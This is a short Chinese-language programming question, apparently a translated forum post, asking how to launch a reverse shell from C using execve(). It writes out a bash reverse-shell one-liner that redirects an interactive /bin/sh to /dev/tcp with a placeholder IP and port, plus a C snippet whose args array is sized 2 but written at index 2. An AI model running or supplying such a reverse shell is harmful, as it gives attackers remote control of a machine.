我需要使用execve
. 我知道如何从命令行运行它,如下所示:
$ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1
我可以运行一个简单版本的/bin/sh
调用,如下所示:
#include <stdio.h>
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = "-i";
args[2] = NULL;
execve(args[0], args, NULL);
}
我无法弄清楚如何运行命令的其余部分。我尝试将剩余的字符串分配为数组> /dev/tcp/IP_ADDR/PORT 0<&1 2>&1
中的单个元素。args
当我运行它时,它会报告Can't open >
.
我提到的反向shell命令是否可以通过execve()
?如果是这样,正确的方法是什么?谢谢。